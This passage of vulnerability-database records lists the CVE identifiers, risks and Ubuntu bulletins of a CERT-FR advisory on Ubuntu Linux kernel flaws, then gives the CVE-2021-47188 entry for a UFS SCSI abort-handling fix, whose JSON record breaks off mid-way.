    {
      "name": "CVE-2024-43855",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43855"
    },
    {
      "name": "CVE-2024-43856",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43856"
    },
    {
      "name": "CVE-2024-43858",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43858"
    },
    {
      "name": "CVE-2024-43860",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43860"
    },
    {
      "name": "CVE-2024-43861",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43861"
    },
    {
      "name": "CVE-2024-43863",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43863"
    },
    {
      "name": "CVE-2024-43867",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43867"
    },
    {
      "name": "CVE-2024-43871",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43871"
    },
    {
      "name": "CVE-2024-43873",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43873"
    },
    {
      "name": "CVE-2024-43875",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43875"
    },
    {
      "name": "CVE-2024-43879",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43879"
    },
    {
      "name": "CVE-2024-43880",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43880"
    },
    {
      "name": "CVE-2024-43882",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43882"
    },
    {
      "name": "CVE-2024-43883",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43883"
    },
    {
      "name": "CVE-2024-43884",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43884"
    },
    {
      "name": "CVE-2024-43889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43889"
    },
    {
      "name": "CVE-2024-43892",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43892"
    },
    {
      "name": "CVE-2024-43893",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43893"
    },
    {
      "name": "CVE-2024-43894",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43894"
    },
    {
      "name": "CVE-2024-43902",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43902"
    },
    {
      "name": "CVE-2024-43905",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43905"
    },
    {
      "name": "CVE-2024-43907",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43907"
    },
    {
      "name": "CVE-2024-43908",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43908"
    },
    {
      "name": "CVE-2024-43909",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43909"
    },
    {
      "name": "CVE-2024-44947",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44947"
    },
    {
      "name": "CVE-2024-41023",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41023"
    },
    {
      "name": "CVE-2024-41031",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41031"
    },
    {
      "name": "CVE-2024-42243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42243"
    },
    {
      "name": "CVE-2024-42160",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42160"
    },
    {
      "name": "CVE-2024-45003",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45003"
    },
    {
      "name": "CVE-2024-43835",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43835"
    },
    {
      "name": "CVE-2024-44946",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44946"
    },
    {
      "name": "CVE-2024-44974",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44974"
    },
    {
      "name": "CVE-2024-44982",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44982"
    },
    {
      "name": "CVE-2024-44983",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44983"
    },
    {
      "name": "CVE-2024-44985",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44985"
    },
    {
      "name": "CVE-2024-44986",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44986"
    },
    {
      "name": "CVE-2024-44987",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44987"
    },
    {
      "name": "CVE-2024-44988",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44988"
    },
    {
      "name": "CVE-2024-44989",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44989"
    },
    {
      "name": "CVE-2024-44990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44990"
    },
    {
      "name": "CVE-2024-44995",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44995"
    },
    {
      "name": "CVE-2024-44998",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44998"
    },
    {
      "name": "CVE-2024-44999",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44999"
    },
    {
      "name": "CVE-2024-45006",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45006"
    },
    {
      "name": "CVE-2024-45007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45007"
    },
    {
      "name": "CVE-2024-45008",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45008"
    },
    {
      "name": "CVE-2024-45009",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45009"
    },
    {
      "name": "CVE-2024-45011",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45011"
    },
    {
      "name": "CVE-2024-45016",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45016"
    },
    {
      "name": "CVE-2024-45018",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45018"
    },
    {
      "name": "CVE-2024-45021",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45021"
    },
    {
      "name": "CVE-2024-45025",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45025"
    },
    {
      "name": "CVE-2024-45026",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45026"
    },
    {
      "name": "CVE-2024-45028",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45028"
    },
    {
      "name": "CVE-2024-46673",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46673"
    },
    {
      "name": "CVE-2024-46675",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46675"
    },
    {
      "name": "CVE-2024-46676",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46676"
    },
    {
      "name": "CVE-2024-46677",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46677"
    },
    {
      "name": "CVE-2024-46679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46679"
    },
    {
      "name": "CVE-2024-46685",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46685"
    },
    {
      "name": "CVE-2024-46689",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46689"
    },
    {
      "name": "CVE-2024-46702",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46702"
    },
    {
      "name": "CVE-2024-46707",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46707"
    },
    {
      "name": "CVE-2024-46713",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46713"
    },
    {
      "name": "CVE-2024-46714",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46714"
    },
    {
      "name": "CVE-2024-46719",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46719"
    },
    {
      "name": "CVE-2024-46721",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46721"
    },
    {
      "name": "CVE-2024-46722",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46722"
    },
    {
      "name": "CVE-2024-46723",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46723"
    },
    {
      "name": "CVE-2024-46724",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46724"
    },
    {
      "name": "CVE-2024-46725",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46725"
    },
    {
      "name": "CVE-2024-46731",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46731"
    },
    {
      "name": "CVE-2024-46732",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46732"
    },
    {
      "name": "CVE-2024-46737",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46737"
    },
    {
      "name": "CVE-2024-46738",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46738"
    },
    {
      "name": "CVE-2024-46739",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46739"
    },
    {
      "name": "CVE-2024-46740",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46740"
    },
    {
      "name": "CVE-2024-46743",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46743"
    },
    {
      "name": "CVE-2024-46744",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46744"
    },
    {
      "name": "CVE-2024-46745",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46745"
    },
    {
      "name": "CVE-2024-46746",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46746"
    },
    {
      "name": "CVE-2024-46747",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46747"
    },
    {
      "name": "CVE-2024-46750",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46750"
    },
    {
      "name": "CVE-2024-46752",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46752"
    },
    {
      "name": "CVE-2024-46755",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46755"
    },
    {
      "name": "CVE-2024-46756",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46756"
    },
    {
      "name": "CVE-2024-46757",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46757"
    },
    {
      "name": "CVE-2024-46758",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46758"
    },
    {
      "name": "CVE-2024-46759",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46759"
    },
    {
      "name": "CVE-2024-46761",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46761"
    },
    {
      "name": "CVE-2024-46763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46763"
    },
    {
      "name": "CVE-2024-46771",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46771"
    },
    {
      "name": "CVE-2024-46777",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46777"
    },
    {
      "name": "CVE-2024-46780",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46780"
    },
    {
      "name": "CVE-2024-46781",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46781"
    },
    {
      "name": "CVE-2024-46782",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46782"
    },
    {
      "name": "CVE-2024-46783",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46783"
    },
    {
      "name": "CVE-2024-46791",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46791"
    },
    {
      "name": "CVE-2024-46795",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46795"
    },
    {
      "name": "CVE-2024-46798",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46798"
    },
    {
      "name": "CVE-2024-46800",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46800"
    },
    {
      "name": "CVE-2024-46804",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46804"
    },
    {
      "name": "CVE-2024-46805",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46805"
    },
    {
      "name": "CVE-2024-46807",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46807"
    },
    {
      "name": "CVE-2024-46810",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46810"
    },
    {
      "name": "CVE-2024-46814",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46814"
    },
    {
      "name": "CVE-2024-46815",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46815"
    },
    {
      "name": "CVE-2024-46817",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46817"
    },
    {
      "name": "CVE-2024-46818",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46818"
    },
    {
      "name": "CVE-2024-46819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46819"
    },
    {
      "name": "CVE-2024-46822",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46822"
    },
    {
      "name": "CVE-2024-46828",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46828"
    },
    {
      "name": "CVE-2024-46829",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46829"
    },
    {
      "name": "CVE-2024-46832",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46832"
    },
    {
      "name": "CVE-2024-46840",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46840"
    },
    {
      "name": "CVE-2024-46844",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46844"
    },
    {
      "name": "CVE-2024-42272",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42272"
    },
    {
      "name": "CVE-2024-42297",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42297"
    },
    {
      "name": "CVE-2024-41082",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41082"
    },
    {
      "name": "CVE-2024-42252",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42252"
    },
    {
      "name": "CVE-2024-42265",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42265"
    },
    {
      "name": "CVE-2024-42304",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42304"
    },
    {
      "name": "CVE-2024-42305",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42305"
    },
    {
      "name": "CVE-2024-42306",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42306"
    },
    {
      "name": "CVE-2024-43828",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43828"
    },
    {
      "name": "CVE-2024-43870",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43870"
    },
    {
      "name": "CVE-2024-43890",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43890"
    },
    {
      "name": "CVE-2024-43914",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43914"
    },
    {
      "name": "CVE-2024-44935",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44935"
    },
    {
      "name": "CVE-2024-44944",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44944"
    },
    {
      "name": "CVE-2024-44948",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44948"
    },
    {
      "name": "CVE-2024-44954",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44954"
    },
    {
      "name": "CVE-2024-44960",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44960"
    },
    {
      "name": "CVE-2024-44965",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44965"
    },
    {
      "name": "CVE-2024-44969",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44969"
    },
    {
      "name": "CVE-2024-44971",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44971"
    },
    {
      "name": "CVE-2024-47668",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47668"
    },
    {
      "name": "CVE-2023-52888",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52888"
    },
    {
      "name": "CVE-2023-52918",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52918"
    },
    {
      "name": "CVE-2024-41018",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41018"
    },
    {
      "name": "CVE-2024-41019",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41019"
    },
    {
      "name": "CVE-2024-41021",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41021"
    },
    {
      "name": "CVE-2024-41029",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41029"
    },
    {
      "name": "CVE-2024-41030",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41030"
    },
    {
      "name": "CVE-2024-41033",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41033"
    },
    {
      "name": "CVE-2024-41052",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41052"
    },
    {
      "name": "CVE-2024-41053",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41053"
    },
    {
      "name": "CVE-2024-41054",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41054"
    },
    {
      "name": "CVE-2024-41067",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41067"
    },
    {
      "name": "CVE-2024-41083",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41083"
    },
    {
      "name": "CVE-2024-41085",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41085"
    },
    {
      "name": "CVE-2024-41086",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41086"
    },
    {
      "name": "CVE-2024-42063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42063"
    },
    {
      "name": "CVE-2024-42065",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42065"
    },
    {
      "name": "CVE-2024-42066",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42066"
    },
    {
      "name": "CVE-2024-42067",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42067"
    },
    {
      "name": "CVE-2024-42088",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42088"
    },
    {
      "name": "CVE-2024-42091",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42091"
    },
    {
      "name": "CVE-2024-42100",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42100"
    },
    {
      "name": "CVE-2024-42103",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42103"
    },
    {
      "name": "CVE-2024-42108",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42108"
    },
    {
      "name": "CVE-2024-42111",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42111"
    },
    {
      "name": "CVE-2024-42112",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42112"
    },
    {
      "name": "CVE-2024-42118",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42118"
    },
    {
      "name": "CVE-2024-42128",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42128"
    },
    {
      "name": "CVE-2024-42129",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42129"
    },
    {
      "name": "CVE-2024-42135",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42135"
    },
    {
      "name": "CVE-2024-42146",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42146"
    },
    {
      "name": "CVE-2024-42149",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42149"
    },
    {
      "name": "CVE-2024-42150",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42150"
    },
    {
      "name": "CVE-2024-42151",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42151"
    },
    {
      "name": "CVE-2024-42231",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42231"
    },
    {
      "name": "CVE-2024-42234",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42234"
    },
    {
      "name": "CVE-2024-42235",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42235"
    },
    {
      "name": "CVE-2024-42248",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42248"
    },
    {
      "name": "CVE-2024-42251",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42251"
    },
    {
      "name": "CVE-2024-47659",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47659"
    },
    {
      "name": "CVE-2024-47663",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47663"
    },
    {
      "name": "CVE-2024-47667",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47667"
    },
    {
      "name": "CVE-2024-47669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47669"
    },
    {
      "name": "CVE-2024-42267",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42267"
    },
    {
      "name": "CVE-2024-42296",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42296"
    },
    {
      "name": "CVE-2024-42299",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42299"
    },
    {
      "name": "CVE-2024-43869",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43869"
    },
    {
      "name": "CVE-2024-44934",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44934"
    },
    {
      "name": "CVE-2024-44958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44958"
    },
    {
      "name": "CVE-2024-44966",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44966"
    },
    {
      "name": "CVE-2024-47660",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47660"
    },
    {
      "name": "CVE-2024-47665",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47665"
    },
    {
      "name": "CVE-2024-44942",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44942"
    }
  ],
  "links": [],
  "reference": "CERTFR-2024-AVI-1013",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2024-11-22T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Ex\u00e9cution de code arbitraire"
    },
    {
      "description": "\u00c9l\u00e9vation de privil\u00e8ges"
    },
    {
      "description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
    },
    {
      "description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
    },
    {
      "description": "D\u00e9ni de service"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    },
    {
      "description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans le noyau Linux d\u0027Ubuntu. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire, une \u00e9l\u00e9vation de privil\u00e8ges et une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans le noyau Linux d\u0027Ubuntu",
  "vendor_advisories": [
    {
      "published_at": "2024-11-20",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7123-1",
      "url": "https://ubuntu.com/security/notices/USN-7123-1"
    },
    {
      "published_at": "2024-11-20",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7121-2",
      "url": "https://ubuntu.com/security/notices/USN-7121-2"
    },
    {
      "published_at": "2024-11-21",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7120-3",
      "url": "https://ubuntu.com/security/notices/USN-7120-3"
    },
    {
      "published_at": "2024-11-19",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7119-1",
      "url": "https://ubuntu.com/security/notices/USN-7119-1"
    },
    {
      "published_at": "2024-11-19",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7089-7",
      "url": "https://ubuntu.com/security/notices/USN-7089-7"
    },
    {
      "published_at": "2024-11-20",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7120-2",
      "url": "https://ubuntu.com/security/notices/USN-7120-2"
    },
    {
      "published_at": "2024-11-19",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7121-1",
      "url": "https://ubuntu.com/security/notices/USN-7121-1"
    },
    {
      "published_at": "2024-11-19",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7120-1",
      "url": "https://ubuntu.com/security/notices/USN-7120-1"
    },
    {
      "published_at": "2024-11-19",
      "title": "Bulletin de s\u00e9curit\u00e9 Ubuntu USN-7122-1",
      "url": "https://ubuntu.com/security/notices/USN-7122-1"
    }
  ]
}

CVE-2021-47188 (GCVE-0-2021-47188)

Vulnerability from cvelistv5 – Published: 2024-04-10 18:56 – Updated: 2026-05-11 13:49

Title

scsi: ufs: core: Improve SCSI abort handling

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: core: Improve SCSI abort handling The following has been observed on a test setup: WARNING: CPU: 4 PID: 250 at drivers/scsi/ufs/ufshcd.c:2737 ufshcd_queuecommand+0x468/0x65c Call trace: ufshcd_queuecommand+0x468/0x65c scsi_send_eh_cmnd+0x224/0x6a0 scsi_eh_test_devices+0x248/0x418 scsi_eh_ready_devs+0xc34/0xe58 scsi_error_handler+0x204/0x80c kthread+0x150/0x1b4 ret_from_fork+0x10/0x30 That warning is triggered by the following statement: WARN_ON(lrbp->cmd); Fix this warning by clearing lrbp->cmd from the abort handler.

Severity ?

No CVSS data available.

Assigner

Linux

References

2 references

URL	Tags
https://git.kernel.org/stable/c/c36baca06efa833ad…
https://git.kernel.org/stable/c/3ff1f6b6ba6f97f50…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7a3e97b0dc4bbac2ba7803564ab0057722689921 , < c36baca06efa833adaefba61f45fefdc49b6d070 (git) Affected: 7a3e97b0dc4bbac2ba7803564ab0057722689921 , < 3ff1f6b6ba6f97f50862aa50e79959cc8ddc2566 (git)
Linux	Linux	Affected: 3.4 Unaffected: 0 , < 3.4 (semver) Unaffected: 5.15.5 , ≤ 5.15.* (semver) Unaffected: 5.16 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T05:32:07.411Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c36baca06efa833adaefba61f45fefdc49b6d070"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3ff1f6b6ba6f97f50862aa50e79959cc8ddc2566"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2021-47188",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:50:11.298126Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:39.156Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/ufs/ufshcd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c36baca06efa833adaefba61f45fefdc49b6d070",
              "status": "affected",
              "version": "7a3e97b0dc4bbac2ba7803564ab0057722689921",
              "versionType": "git"
            },
            {
              "lessThan": "3ff1f6b6ba6f97f50862aa50e79959cc8ddc2566",
              "status": "affected",
              "version": "7a3e97b0dc4bbac2ba7803564ab0057722689921",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/ufs/ufshcd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.4"
            },
            {
              "lessThan": "3.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.16",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.5",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16",
                  "versionStartIncluding": "3.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ufs: core: Improve SCSI abort handling\n\nThe following has been observed on a test setup:\n\nWARNING: CPU: 4 PID: 250 at drivers/scsi/ufs/ufshcd.c:2737 ufshcd_queuecommand+0x468/0x65c\nCall trace:\n ufshcd_queuecommand+0x468/0x65c\n scsi_send_eh_cmnd+0x224/0x6a0\n scsi_eh_test_devices+0x248/0x418\n scsi_eh_ready_devs+0xc34/0xe58\n scsi_error_handler+0x204/0x80c\n kthread+0x150/0x1b4\n ret_from_fork+0x10/0x30\n\nThat warning is triggered by the following statement:\n\n\tWARN_ON(lrbp-\u003ecmd);\n\nFix this warning by clearing lrbp-\u003ecmd from the abort handler."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T13:49:40.965Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c36baca06efa833adaefba61f45fefdc49b6d070"
        },
        {
          "url": "https://git.kernel.org/stable/c/3ff1f6b6ba6f97f50862aa50e79959cc8ddc2566"
        }
      ],
      "title": "scsi: ufs: core: Improve SCSI abort handling",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2021-47188",
